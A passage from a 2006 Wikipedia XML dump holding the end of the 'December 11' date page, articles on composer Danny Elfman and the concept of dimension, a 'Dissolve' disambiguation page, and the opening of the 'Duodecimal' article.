*[[1680]] - [[Emanuele d'Astorga]], Italian composer
*[[1712]] - [[Francesco Algarotti]]. Italian philosopher (d. [[1764]])
*[[1725]] - [[George Mason]], American statesman (d. [[1792]])
*[[1761]] - [[Gian Domenico Romagnosi]], Italian physicist (d. [[1835]])
*[[1781]] - Sir [[David Brewster]], British physicist (d. [[1868]])
*[[1801]] - [[Christian Dietrich Grabbe]], German writer (d. [[1836]])
*[[1803]] - [[Hector Berlioz]], French composer (d. [[1869]])
*[[1810]] - [[Alfred de Musset]], French poet (d. [[1857]])
*[[1843]] - [[Heinrich Hermann Robert Koch|Robert Koch]], German bacteriologist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1910]])
*[[1858]] - [[Vladimir Nemirovich-Danchenko]], Russian-born Soviet theatre director (d. [[1943]])
*[[1863]] - [[Annie Jump Cannon]], American astronomer (d. [[1941]])
*[[1873]] - [[Josip Plemelj]], Austro-Hungarian-born Yugoslav mathematician (d. [[1967]])
*[[1880]] - [[Frank Tarrant]], Australian cricketer (d. [[1951]])
*[[1882]] - [[Subramanya Bharathy]], Indian poet (d. [[1921]])
*  1882   - [[Max Born]], German physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1970]])
*  1882   - [[Fiorello LaGuardia]], Mayor of New York City (d. [[1947]])
*[[1883]] - [[Victor McLaglen]], British-born American actor (d. [[1959]])
*[[1890]] - [[Mark Tobey]], American painter (d. [[1976]])
*[[1905]] - [[Gilbert Roland]], American actor (d. [[1994]])
*[[1908]] - [[Elliott Carter]], American composer
*[[1911]] - [[Naguib Mahfouz]], Egyptian writer and [[Nobel Prize in Literature|Nobel Prize]] laureate
*[[1912]] - [[Carlo Ponti]], Italian film producer
*[[1913]] - [[Jean Marais]], French actor (d. [[1998]])
*[[1916]] - [[Dámaso Pérez Prado]], Cuban-born bandleader and composer (d. [[1989]])
*[[1918]] - [[Aleksandr Solzhenitsyn]], Soviet-born Russian writer and [[Nobel Prize in Literature|Nobel Prize]] laureate
*[[1919]] - [[Marie Windsor]], American actress (d. [[2000]])
*[[1920]] - [[Big Mama Thornton]] (Willie Mae Thornton), American blues singer (d. [[1984]])
*[[1922]] - [[Grace Paley]], American writer
*[[1925]] - [[Paul Greengard]], American neuroscientist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate
*[[1930]] - [[Jean-Louis Trintignant]], French actor
*[[1931]] - [[Rita Moreno]], Puerto Rican singer, dancer, and actress
*[[1933]] - [[Aquilino Pimentel, Jr.]], Filipino politician
*[[1935]] - [[Pranab Mukherjee]], Indian politician
*[[1936]] - [[Taku Yamasaki]], Japanese politician
*[[1938]] - [[McCoy Tyner]], American jazz pianist
*[[1939]] - [[Tom Hayden]], American politician
*[[1942]] - [[Donna Mills]], American actress
*[[1943]] - [[John Kerry]], American politician and Presidential candidate
*[[1944]] - [[Brenda Lee]], American singer
*[[1944]]   - [[Teri Garr]], American film actress
*[[1950]] - [[Christina Onassis]] American heiress (d. [[1988]])
*[[1954]] - [[Guðlaugur Kristinn Óttarsson]], Icelandic guitar player, polytechnic engineer and inventor
*[[1954]] - [[Jermaine Jackson]], American singer and bassist
*[[1958]] - [[Nikki Sixx]], American bassist ([[Mötley Crüe]])
*[[1962]] - [[Ben Browder]], American actor
*[[1964]] - [[Cosy Sheridan]], American singer and songwriter
*[[1966]] - [[Leon Lai]], Beijing-born Canadian actor and Cantopop singer
*  1966 - [[Gary Dourdan]], American actor
*[[1969]] - [[Vishwanathan Anand]], Indian chess grandmaster
*[[1972]] - [[Dana Macsim]], Romanian television news reporter
*[[1979]] - [[Rider Strong]], American actor
*[[1981]] - [[Javier Saviola]], [[Argentina national football team|Argentine]] international footballer and Olympic gold medalist
*[[1981]] - [[Zacky Vengeance]], American [[Guitarist]] ([[Avenged Sevenfold]])

==Deaths==
*[[384]] - [[Pope Damasus I]]
*[[1121]] - [[Al-Afdal Shahanshah]], Caliph of Egypt (b. [[1066]])
*[[1226]] - [[Robert de Ros]], English politician (b. [[1177]])
*[[1282]] - [[Llywelyn the Last]], Welsh Prince of Gwynedd
*[[1282]] - [[Michael VIII Palaeologus]], [[Byzantine Emperor]] (b. [[1225]])
*[[1532]] - [[Pietro Accolti]], Italian Catholic cardinal (b. [[1455]])
*[[1694]] - [[Ranuccio II Farnese, Duke of Parma]] (b. [[1630]])
*[[1737]] - [[John Strype]], English historian and biographer (b. [[1643]])
*[[1757]] - [[Edmund Curll]], English bookseller and publisher (b. [[1675]])
*[[1797]] - [[Richard Brocklesby]], British physician (b. [[1722]])
*[[1840]] - [[Emperor Kokaku of Japan]] (b. [[1771]])
*[[1909]] - [[Innokenty Annensky]], Russian poet (b. [[1855]])
*[[1920]] - [[Olive Schreiner]], South African writer (b. [[1855]])
*[[1938]] - [[Christian Lous Lange]], Norwegian pacifist and recipient of [[Nobel Peace Prize|Nobel Prize]] laureate (b. [[1869]])
*[[1941]] - [[John Gillespie Magee, Jr.]], American poet and aviator (b. [[1922]])
*[[1945]] - [[Charles Fabry]], French physicist (b. [[1867]])
*[[1950]] - [[Leslie Comrie]], New Zealand-born astronomer and computing pioneer (b. [[1893]])
*[[1957]] - [[Musidora]] (Jeanne Roques), French actress and director (b. [[1889]])
*[[1964]] - [[Sam Cooke]], American singer (b. [[1931]])
*[[1978]] - [[Vincent du Vigneaud]], American chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1901]])
*[[1983]] - Sir [[Neil Ritchie]], British General. (b. [[1897]])
*[[1996]] - [[Willie Rushton]], British cartoonist, satirist, and actor (b. [[1937]])
*[[1998]] - [[André Lichnerowicz]], Polish-French physicist (b. [[1915]])
*[[2003]] - [[Ahmadou Kourouma]], Côte d'Ivoire writer (b. [[1927]])
*[[2004]] - [[M.S. Subbulakshmi]], Indian singer (b. [[1916]])

==Holidays and observances==
* [[Roman festivals]] - One of the four [[Agonalia]], this day in honour of [[Sol Indiges]]; also the [[Septimontium]] festival
* [[Calendar of Saints|R.C. Saints]] - [[pope Damasus I]]: optional memorial; also [[Daniel the Stylite]] (not universal)
* Also see [[December 11 (Eastern Orthodox liturgics)]]
* [[Argentina]] - [[Tango (dance)|Tango]] Day, [[Buenos Aires]]
* [[Burkina Faso]] - [[Republic Day]] ([[1958]], [[Upper Volta]] became an autonomous republic in the [[French Community]].)
* [[USA]] - Admission day for [[Indiana]] (19th state, [[1816]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/11 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20051211.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Dec&amp;day=11 On This Day in Canada]

----

[[December 10]] - [[December 12]] - [[November 11]] - [[January 11]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:11 Desember]]
[[ang:11 Gēolmōnaþ]]
[[ar:11 ديسمبر]]
[[an:11 d'abiento]]
[[ast:11 d'avientu]]
[[bg:11 декември]]
[[be:11 сьнежня]]
[[bs:11. decembar]]
[[br:11 Kerzu]]
[[ca:11 de desembre]]
[[ceb:Disyembre 11]]
[[cv:Раштав, 11]]
[[co:11 di decembre]]
[[cs:11. prosinec]]
[[cy:11 Rhagfyr]]
[[da:11. december]]
[[de:11. Dezember]]
[[et:11. detsember]]
[[el:11 Δεκεμβρίου]]
[[es:11 de diciembre]]
[[eo:11-a de decembro]]
[[eu:Abenduaren 11]]
[[fo:11. desember]]
[[fr:11 décembre]]
[[fy:11 desimber]]
[[ga:11 Nollaig]]
[[gl:11 de decembro]]
[[ko:12월 11일]]
[[hr:11. prosinca]]
[[io:11 di decembro]]
[[id:11 Desember]]
[[ia:11 de decembre]]
[[is:11. desember]]
[[it:11 dicembre]]
[[he:11 בדצמבר]]
[[jv:11 Desember]]
[[ka:11 დეკემბერი]]
[[csb:11 gòdnika]]
[[ku:11'ê berfanbarê]]
[[la:11 Decembris]]
[[lt:Gruodžio 11]]
[[lb:11. Dezember]]
[[hu:December 11]]
[[mk:11 декември]]
[[ms:11 Disember]]
[[nap:11 'e dicembre]]
[[nl:11 december]]
[[ja:12月11日]]
[[no:11. desember]]
[[nn:11. desember]]
[[oc:11 de decembre]]
[[pl:11 grudnia]]
[[pt:11 de Dezembro]]
[[ro:11 decembrie]]
[[ru:11 декабря]]
[[se:Juovlamánu 11.]]
[[sco:11 December]]
[[sq:11 Dhjetor]]
[[scn:11 di dicèmmiru]]
[[simple:December 11]]
[[sk:11. december]]
[[sl:11. december]]
[[sr:11. децембар]]
[[fi:11. joulukuuta]]
[[sv:11 december]]
[[tl:Disyembre 11]]
[[tt:11. Dekäber]]
[[te:డిసెంబర్ 11]]
[[th:11 ธันวาคม]]
[[vi:11 tháng 12]]
[[tr:11 Aralık]]
[[uk:11 грудня]]
[[wa:11 di decimbe]]
[[war:Disyembre 11]]
[[zh:12月11日]]
[[pam:Disiembri 11]]</text>
    </revision>
  </page>
  <page>
    <title>Danny Elfman</title>
    <id>8397</id>
    <revision>
      <id>41586968</id>
      <timestamp>2006-02-28T08:59:19Z</timestamp>
      <contributor>
        <ip>125.212.73.217</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:DannyElfmanSweetSounds.jpg|right|thumb|250px|Danny Elfman in the ''Sweet Sounds'' feature on the ''[[Charlie and the Chocolate Factory (film)|Charlie and the Chocolate Factory]]'' special edition DVD.]]

'''Daniel Robert &quot;Danny&quot; Elfman''' (born [[May 29]], [[1953]], in [[Amarillo, Texas|Amarillo]], [[Texas]]) is a [[Jewish]]-[[United States|American]] pop [[musician]], [[composer]] and [[writer]] of  [[film score]]s, most famous for his frequent collaborations with director [[Tim Burton]]. His compositions are notable for their very operatic and intense style, already distinct by the time of his early work on ''[[Forbidden Zone]]''.

The fiercely creative Elfman got his start in the 1970s playing in two theater troupes started by his older brother Richard - Le Grande Magic Circus, and then [[Oingo Boingo|The Mystic Knights of the Oingo Boingo]]. After eight years in the Mystic Knights as a singer, composer, guitarist, and trombonist, Danny Elfman pared the troupe down to a [[rock band]], just as [[Richard Elfman]] was making ''Forbidden Zone'', which captured the group in the middle of its transformation to [[Oingo Boingo]]. Elfman's vocal range and manic stage presence led Oingo Boingo to a long series of recordings and a strong cult following.  

Building on his experience scoring music for theater and independent film, Elfman's career took another big step when he composed the soundtrack for ''[[Pee-wee's Big Adventure]]'', his first big budget project.  This also began his long association with the film director [[Tim Burton]], as Danny Elfman has [[film score|scored]] all but one of his films,  including ''[[Beetlejuice]]'', ''[[Batman (1989 movie)|Batman]]'', ''[[Batman Returns]]'', ''[[Edward Scissorhands]]'', ''[[Sleepy Hollow (movie)|Sleepy Hollow]]'', ''[[Mars Attacks!]]'', ''[[Big Fish]]'', ''[[Charlie and the Chocolate Factory (film)|Charlie and the Chocolate Factory]]'', ''[[The Nightmare Before Christmas]]'' and ''[[Corpse Bride]]''. Elfman's musical signature in these films helps create the fantasy and [[goth]]ic style typical of Burton's films, using instrumentation such as the [[pipe organ]] and choral ensemble.

As a film composer, Elfman is recognizably influenced by [[Nino Rota]], [[Bernard Herrmann]], and [[Carl Stalling]].  His scores heavily utilize the 3/4 [[time signature]], making many of his more memorable themes sound like gothic [[Waltz (music)|waltzes]].

In ''[[The Nightmare Before Christmas]]'', Elfman contributed the singing voice of the main character, as well as writing the lyrics and composing the songs and score. Elfman also provided all of the singing voices for the [[Oompa Loompa]]s played by [[Deep Roy]] in ''[[Charlie and the Chocolate Factory (film)|Charlie and the Chocolate Factory]]''.

He has also scored many other films including ''[[The Frighteners]]'', ''[[Back to School]]'', ''[[Chicago (2002 movie)|Chicago]]'', ''[[Dick Tracy (film)|Dick Tracy]]'', ''[[Freeway (movie)|Freeway]]'', ''[[Good Will Hunting]]'', ''[[Hulk (movie)|Hulk]]'', ''[[Midnight Run]]'', both movies in the ''[[Men in Black (movie)|Men in Black]]'' series, ''[[Mission: Impossible (film)|Mission: Impossible]]'', ''[[The Family Man]]'', and [[Sam Raimi]]'s ''[[Darkman]]'', ''[[Army of Darkness]]'', ''[[Nightbreed]]'', ''[[A Simple Plan]]'', ''[[Spider-Man (film)|Spider-Man]]'' and ''[[Spider-Man 2]]''.

Elfman has also composed theme music for several [[television]] series, including ''[[The Simpsons]]'', ''[[The Flash (TV series)|The Flash]]'', ''[[Sledge Hammer!]]'', ''[[Tales from the Crypt (TV series)|Tales from the Crypt]]'', ''[[Dilbert#Animated_series|Dilbert]]'', and the opening theme for ''[[Desperate Housewives]]'', as well as the [[Xbox]] [[console game]] ''[[Fable (video game)|Fable]]''. The song &quot;This is Halloween&quot; from Tim Burton's The Nightmare Before Christmas also appeared in ''[[Kingdom Hearts]]''.  His songs in the movie have been remixed by different artists for ''[[The Nightmare Before Christmas: Oogie's Revenge]]''.

On [[November 29]], [[2003]], Elfman married [[Bridget Fonda]].  They have one son, Oliver, born in January, 2005. He is a fan and friend of the band [[Primus (band)|Primus]].  Danny's nephew [[Bodhi Elfman]] is married to ''[[Dharma and Greg]]'' star [[Jenna Elfman]].

==See also==
*[[List of noted film producer and composer collaborations]]

== External links ==
*[http://www.soundtrackinfo.com/composer.asp?id=62&amp;s=y Danny Elfman at the SoundtrackINFO project]
*{{imdb name|id=0000384|name=Danny Elfman}}
*[http://www.soundtrack.net/composers/database/?id=58 SoundtrackNet entry for Danny Elfman]
*[http://elfman.filmmusic.com Danny Elfman's Music For A Darkened People]
*[http://www.batmancollective.150m.com/castcrew/behind/elfman.html Batman Cinema: Bat-Composers and pop artists - Danny Elfman]


[[Category:1953 births|Elfman, Danny]]
[[Category:Living people|Elfman, Danny]]
[[Category:Batman music|Elfman, Danny]]
[[Category:Desperate Housewives|Elfman, Danny]]
[[Category:Film score composers|Elfman, Danny]]
[[Category:Hulk|Elfman, Danny]]
[[Category:Jewish American musicians|Elfman, Danny]]
[[Category:Oingo Boingo|Elfman, Danny]]
[[Category:People from Texas|Elfman, Danny]]
[[Category:American rock musicians|Elfman, Danny]]
[[Category:Spider-Man|Elfman, Danny]]
[[Category:Dick Tracy|Elfman, Danny]]

[[de:Danny Elfman]]
[[es:Danny Elfman]]
[[fr:Danny Elfman]]
[[fi:Danny Elfman]]
[[he:דני אלפמן]]
[[ko:대니 엘프먼]]
[[it:Danny Elfman]]
[[ja:ダニー・エルフマン]]
[[pl:Danny Elfman]]
[[sk:Danny Elfman]]
[[sv:Danny Elfman]]</text>
    </revision>
  </page>
  <page>
    <title>Dimension</title>
    <id>8398</id>
    <revision>
      <id>41901749</id>
      <timestamp>2006-03-02T14:08:04Z</timestamp>
      <contributor>
        <username>Marskell</username>
        <id>194262</id>
      </contributor>
      <comment>extraterrestrial as standard name</comment>
      <text xml:space="preserve">:''For other senses of this word, see [[dimension (disambiguation)]].''
[[Image:Dimoffree.png|200px|thumb|right|2-dimensional renderings (ie. flat drawings) of a 0-dimensional [[point]], a 1-dimensional [[line]], a 2-dimensional [[square]], a 3-dimensional cube, and a 4-dimensional [[tesseract]]&amp;mdash;the last representing the [[degrees of freedom]] for a cube in 4-dimensional [[spacetime]].]]
In common usage, a '''dimension''' ([[Latin]], &lt;!--[[di-]]-mencia--&gt; &quot;measured out&quot;) is a [[parameter]] or [[measurement]] required to define the characteristics of an [[object]]&amp;mdash;ie. [[length]], [[width]], and [[height]] or ''[[size]] and [[shape]]''.
In [[mathematics]], '''dimensions''' are the parameters required to describe the [[position]] and relevant characteristics of any object within a conceptual ''[[space]]'' &amp;mdash;where the ''dimensions'' of a space are the total number of different parameters used for all possible objects considered in the [[model]].
Generalizations of the concept are possible and, different fields of study will define their spaces by their own relevant dimensions, and use these spaces as frameworks upon which all other study (in that area) is based. In specialized contexts, [[unit of measurement|units of measurement]] may sometimes be &quot;dimensions&quot;&amp;mdash;''[[metre|meter]]s'' or ''[[foot (unit of length)|feet]]'' in [[Geography|geographical]] space models, or ''cost'' and ''price'' in models of a local [[economics|economy]].

For example, locating a point on a [[plane]] (ie. a city on a [[map]] of the Earth) requires two parameters &amp;mdash; ''[[latitude]] and [[longitude]]''. The corresponding space has therefore two ''dimensions'', its ''dimension'' is two, and this [[space]] is said to be ''2-dimensional'' ([[2D]]).
Locating the exact [[position]] of an airplane in flight (relative to the Earth) requires another dimension ([[altitude]]), hence the position of the airplane can be rendered in a 3-dimensional ([[3D]]) space.
If ''[[time]]'' is added as a 3rd or 4th dimension (to a 2D or 3D space, respectively), then the airplane's estimated &quot;[[speed]]&quot; may be calculated from a comparison between the times associated with any two positions. For common uses, simply using &quot;speed&quot; (as a dimension) is a useful way of [[condensation|condensing]] (or translating) the more abstract [[time]] dimension, even if &quot;speed&quot; is not a ''dimension,'' but rather a ''calculation'' based on two dimensions. Adding the three [[Euler angles]], for a total 6 dimensions, allows the current [[degrees of freedom]] &amp;mdash;[[orientation]] and [[trajectory]] &amp;mdash;of the airplane to be known.

[[Theoretical physics]] often experiments with dimensions - adding more, or changing their properties - in order to describe unusual conceptual models of space, in order to help better describe concept of [[quantum mechanics]] &amp;mdash;ie. the 'physics beneath the visible physical world.' This concept has been borrowed in [[science fiction]] as a [[literary device|metaphorical device]], where an &quot;alternate dimension&quot; (ie. '[[alternate universe]]' or '[[plane of existence]]') describes [[extraterrestrial]] places, species, and cultures which function in various different and unusual ways from human culture.

== Physical dimensions ==
The physical dimensions are the parameters required to answer to the question where and when happened or will happen some event; for instance: When did [[Napoleon]] die? — On the 5 May 1821 at [[Saint Helena]] (15°56′ S 5°42′ W).  They play a fundamental role in our perception of the world around us.  According to [[Immanuel Kant]], we actually do not perceive them but they form the frame in which we perceive [[event]]s; they form the [[a priori]] background in which events are perceived. 

=== Spatial dimensions ===
Classical physics theories describe three physical dimensions: from a particular point in space, the basic directions in which we can move are up/down, left/right, and forward/backward. Movement in any other direction can be expressed in terms of just these three. Moving down is the same as moving up a negative amount. Moving diagonally upward and forward is just as the name of the direction implies; i.e., moving in a [[linear combination]] of up and forward.  In its simplest form:  a line describes one dimension, a plane describes two dimensions, and a cube describes three dimensions.  (See [[Cartesian coordinate system]])

=== Time ===
[[Time]] is often referred to as the &quot;[[fourth dimension]]&quot;. It is, in essence, one way to measure physical change. It is perceived differently from the three spatial dimensions in that there is only one of it, and that movement seems to occur at a fixed rate and [[arrow of time|in one direction]].

The equations used by physics to model reality often do not treat time in the same way that humans perceive it. In particular, the equations of [[classical mechanics]] are [[T-symmetry|symmetric with respect to time]], and equations of [[quantum mechanics]] are typically symmetric if both time and other quantities (such as [[C-symmetry|charge]] and [[Parity (physics)|parity]]) are reversed. In these models, the perception of time flowing in one direction is an artifact of the [[laws of thermodynamics]] (we perceive time as flowing in the direction of increasing [[entropy]]).

The most well-known treatment of time as a dimension is [[Albert Einstein|Einstein]]'s [[general relativity|theory of general relativity]], which treats perceived space and time as parts of a four-dimensional [[manifold]].

=== Additional dimensions ===
Theories such as [[string theory]] predict that the space we live in has in fact many more dimensions (frequently 10, 11 or 26), but that the universe measured along these additional dimensions is subatomic in size. As a result, we perceive only the three spatial dimensions that have macroscopic size.

=== Units ===
In the physical sciences and in engineering, the ''dimension'' of a physical quantity is the expression of the class of [[Units of measurement|physical unit]] that such a quantity is measured against. The dimension of speed, for example, is length divided by time. In the [[SI]] system, the dimension is given by the seven exponents of the [[fundamental unit|fundamental quantities]]. See [[Dimensional analysis]].

==Mathematical dimensions==
In [[mathematics]], no definition of dimension adequately captures the concept in all situations where we would like to make use of it. Consequently, [[mathematician]]s have devised numerous definitions of dimension for different types of spaces. All, however, are ultimately based on the concept of the dimension of [[Euclidean space|Euclidean ''n''-space]] ''E''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt;. The point ''E''&lt;sup&gt;&amp;nbsp;0&lt;/sup&gt; is 0-dimensional. The line ''E''&lt;sup&gt;&amp;nbsp;1&lt;/sup&gt; is 1-dimensional. The plane ''E''&lt;sup&gt;&amp;nbsp;2&lt;/sup&gt; is 2-dimensional. And in general ''E''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt; is ''n''-dimensional.

A [[tesseract]] is an example of a four-dimensional object. 

In the rest of this section we examine some of the more important mathematical definitions of dimension.

=== Hamel dimension ===
For [[vector space|vector spaces]], there is a natural concept of dimension, namely the cardinality of a basis.
See [[Hamel dimension]] for details.

=== Manifolds ===
A [[connectedness|connected]] topological [[manifold]] is [[locally]] [[homeomorphic]] to Euclidean ''n''-space, and the number ''n'' is called the manifold's dimension. One can show that this yields a uniquely defined dimension for every connected topological manifold.

The theory of manifolds, in the field of [[geometric topology]], is characterised by the way dimensions 1 and 2 are relatively elementary, the '''high-dimensional''' cases ''n'' &gt; 4 are simplified by having extra space in which to 'work'; and the cases ''n'' = 3 and 4 are in some senses the most difficult. This state of affairs was highly marked in the various cases of the [[Poincaré conjecture]], where four different proof methods are applied.

=== Lebesgue covering dimension ===
For any [[topological space]], the [[Lebesgue covering dimension]] is defined to be ''n'' if ''n'' is the smallest [[integer]] for which the following holds: any [[open cover]] has a refinement (a second cover where each element is a subset of an element in the first cover) such that no point is included in more than ''n'' + 1 elements.  For manifolds, this coincides with the dimension mentioned above. If no such n exists, then the dimension is infinite.

===Inductive dimension===
The [[inductive dimension]] of a topological space may refer to the ''small inductive dimension'' or the ''large inductive dimension'', and is based on the analogy that ''n''+1-dimensional balls have ''n'' dimensional [[boundary (topology)|boundaries]], permitting an inductive definition based on the dimension of the boundaries of open sets.

=== Hausdorff dimension ===
For sets which are of a complicated structure, especially [[fractal]]s, the [[Hausdorff dimension]] is useful. The Hausdorff dimension is defined for all [[metric space|metric spaces]] and, unlike the Hamel dimension, can also attain non-integer real values. The upper and lower [[box-counting dimension|box dimensions]] are a variant of the same idea.

=== Hilbert spaces ===
Every [[Hilbert space]] admits an [[orthonormal basis]], and any two such bases have the same [[cardinality]]. This cardinality is called the dimension of the Hilbert space. This dimension is finite if and only if the space's Hamel dimension is finite, and in this case the two dimensions coincide.

=== Krull dimension of commutative rings ===
The [[Krull dimension]] of a commutative [[ring (algebra)|ring]], named after [[Wolfgang Krull]] (1899 - 1971),  is defined to be the maximal number of strict inclusions in an increasing chain of [[prime ideal]]s in the ring.

== Science fiction ==
[[Science fiction]] texts often mention the concept of dimension, when really referring to [[parallel universe (fiction)|parallel universe]]s, [[alternate universe]]s, or other [[planes of existence]], or concepts that are beyond the reader. The word gives a sense of authority to a film, and inspires imagination and awe in the minds of the reader, that one could travel to &quot;another dimension&quot;. This concept is derived from the idea that in order to travel to parallel/alternate universes/planes of existence one must travel in a spatial direction/dimension besides the standard ones.  In effect, the other universes/planes are just a small distance away from our own, but the distance is in a fourth (or higher) spatial dimension, not the standard ones.

== Anaglyph ==
''This section should be merged into [[Anaglyph image]].''

To understand how Anaglyph 3D works, you must understand how Stereoscope 3D works. It's basically blending the two images taken eye width apart. The eye thinks it's seeing one normal image by blending together one image we see with both eyes. You blend two slightly different pictures together and look at it. It looks 3D! Anaglyph is just taking a single framed 3D image and making one eye only see one image... the red sees the blue (because the red of the glasses blends in with the red) and the blue sees the red (the blue of the glasses blends in with the blue). This creates a normal stereo graph image without the need of crossing your eyes the whole time you're looking at the image.

== More dimensions ==
* [[Dimension of an algebraic variety]]
* [[Topological dimension]]
* [[Isoperimetric dimension]]
* [[Poset dimension]]
* [[Pointwise dimension]]
* [[Lyapunov dimension]]
* [[Kaplan-Yorke dimension]]
* [[Exterior dimension]] 
* [[Hurst exponent]]
* [[q-dimension]]; especially:
** [[Information dimension]] (corresponding to q=1)
** [[Correlation dimension]] (corresponding to q=2)

== See also ==
=== Degrees of freedom ===
* Zero dimensions
**[[Point (geometry)|Point]]
**[[Zero-dimensional space]]
* One dimension
**[[Line (mathematics)|Line]]
* Two dimensions
**[[2D geometric model]]s
**[[2D computer graphics]]
* Three dimensions
**[[3D computer graphics]]
**[[3-D film]]s and video
**[[Stereoscopy]] (3-D imaging)
* Four dimensions
**[[Time]] (4th dimension)
**[[Fourth dimension|Fourth spatial dimension]]
**[[Tesseract]] (four dimensional shapes)
* Five dimensions
**[[Kaluza-Klein theory]]
**[[Fifth dimension (geometry)|Fifth dimension]]
* Ten, eleven or twenty-six dimensions
**[[String theory]]
**[[M-theory]]
**[[Why 10 dimensions?]]
**[[Calabi-Yau spaces]]
* Infinitely many dimensions
**[[Banach space]] (only some have infinitely many dimensions)

* [[Special relativity]]
* [[General relativity]]

=== Other ===
* [[Dimension (data warehouse)]] and [[dimension table]]s
* [[Dimensional analysis]]

== Further reading ==
* [[Thomas Banchoff]], (1996) ''Beyond the Third Dimension:  Geometry, Computer Graphics, and Higher Dimensions, Second Edition'', Freeman
* [[Clifford A. Pickover]], (1999) ''Surfing through Hyperspace: Understanding Higher Universes in Six Easy Lessons'', Oxford University Press
*  [[Rudy Rucker]] (1984), ''The Fourth Dimension'', Houghton-Mifflin
*  Edwin A. Abbott, (1884) ''[http://sources.wikipedia.org/wiki/Flatland Flatland]''
* [http://scholar.uwinnipeg.ca/courses/38/4500.6-001/Cosmology/dimensionality.htm Dimensionality]
* [http://www.rmcybernetics.com/science/physics/dimensions.htm Introdution to give you a visual understanding of N-Dimensions]

[[Category:Abstract algebra]]
[[Category:Algebra]]
[[Category:Dimension|*]]
[[Category:Linear algebra]]

[[da:Dimension]]
[[de:Dimension (Physik)]]
[[eo:Dimensio]]
[[fi:Ulottuvuus]]
[[fr:Dimension]]
[[he:ממד]]
[[id:Dimensi]]
[[io:Dimensiono]]
[[it:Dimensione]]
[[ja:次元]]
[[ko:차원]]
[[nl:Dimensie]]
[[pl:Wymiar (matematyka)]]
[[simple:Dimension]]
[[sv:Dimension]]
[[zh:維度]]</text>
    </revision>
  </page>
  <page>
    <title>Dissolve</title>
    <id>8399</id>
    <revision>
      <id>40123259</id>
      <timestamp>2006-02-18T08:10:00Z</timestamp>
      <contributor>
        <username>Natalinasmpf</username>
        <id>107009</id>
      </contributor>
      <comment>solvation, rather</comment>
      <text xml:space="preserve">{{wiktionary}}
The term '''dissolve''' has several meanings:

*In [[chemistry]], it is the act of '''[[solvation]]''', when the components of a solid blend into a liquid, creating a [[solution]].  Upon evaporation, the dissolved components generally can come out of solution and reform the solid.
*In [[film editing|film]] and [[video editing]], it means a  gradual transition  between pieces of [[footage]]. See '''[[dissolve (film)]]'''.
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Duodecimal</title>
    <id>8400</id>
    <revision>
      <id>41890020</id>
      <timestamp>2006-03-02T11:34:23Z</timestamp>
      <contributor>
        <username>Ayersalisa</username>
        <id>919106</id>
      </contributor>
      <text xml:space="preserve">{{Table Numeral Systems}}

[[Image:Duodecimal Multiplication Table.PNG|right|thumb|200px|A duodecimal [[multiplication table]]]]

The '''duodecimal''' (also known as '''[[Base (mathematics)|base]]-{{num|12}}''' or '''dozenal''') system is a [[numeral system]] using [[12 (number)|twelve]] as its base.

The number 12 has four factors, which are [[2 (number)|2]], [[3 (number)|3]], [[4 (number)|4]] and [[6 (number)|6]]. It is a more convenient number system for computing fractions compared with the [[decimal]] or [[vigesimal]] system.

The decimal system has only two factors, which are [[2 (number)|2]] and [[5 (number)|5]]. Also the vigesimal system has four factors, which are [[2 (number)|2]], [[4 (number)|4]], [[5 (number)|5]] and [[10 (number)|10]]; compared with the factor 3 (duodecimal) and 5 (vigesimal).

== Origin ==
:''In this section, numerals are based on decimal [[digit|places]]. For example, 10 means [[10 (number)|ten]], 12 means [[12 (number)|twelve]].''

Languages based on the duodecimal system are uncommon.  Languages in the [[Nigeria]]n Middle Belt such as [[Janji]], [[Kahugu]],  the [[Nimbia]] dialect of [[Gwandara]], [[Mahl language]] of [[Minicoy]] and the [[Chepang]] language of [[Nepal]] are known to use duodecimal numerals.  In fiction, [[J. R. R. Tolkien]]'s [[Elvish languages]] used the duodecimal.

Natural explanations for the choice of the number twelve include the following:
*the approximate number of [[lunar calendar|lunar]] [[month]]s in an Earth [[year]];
*the sum of [[10 (number)|ten]] [[finger]]s on human hands and [[2 (number)|two]] [[foot|feet]]; or
*the number of [[phalanx bone]]s in the four fingers of one hand, with the thumb used as an indicator.

Historically, [[unit]]s of [[time]] in many [[civilization]]s are duodecimal, which may come as a generalization of the use for months. There are twelve signs of the [[zodiac]]. There are twelve European [[hour]]s in a day or night. Traditional [[Chinese calendar]]s, clocks, and compasses are based on the twelve [[Earthly Branches]].

Many European languages have special words for 11 and 12 (and sometimes into the teens), which are often misinterpreted as vestiges of a base-twelve system.  However, in actuality, most if not all of these terms have been [[Erosion#Figurative use|eroded]] from decimal roots.  For example, in [[Latin]], the teens were formed by suffixing -decem (ten) to the respective words.  In the modern Romance languages, this is often obscured by sound changes.  For example, ''undecem'' and ''duodecem'' became, in [[Spanish Language|Spanish]], ''once'' and ''doce'' (likewise ''trece, catorce, quince'').  [[English language|English]] “eleven” and “twelve” are believed to come from [[Proto-Germanic]] *''ainlif'' and *''twalif'' (respectively “one left” and “two left”), also related to base-ten.  Admittedly, the survival of such apparently unique terms may be connected with duodecimal tendencies, but their origin is not duodecimal.

Being a versatile denominator in fractions may explain why we have 12 [[inch]]es in a [[foot (unit of length)|foot]], 12 ounces in a [[troy pound]], 12 [[penny|old British pence]] in a [[shilling]], 12 items in a [[dozen]], 12 dozens in a [[gross]] ([[144 (number)|144]], [[square number|square]] of 12), 12 gross in a [[great gross]] ([[1728 (number)|1728]], [[cube (arithmetic)|cube]] of 12), 
10 dozens in a [[small gross]] ([[120 (number)|120]]), etc.

== Places ==

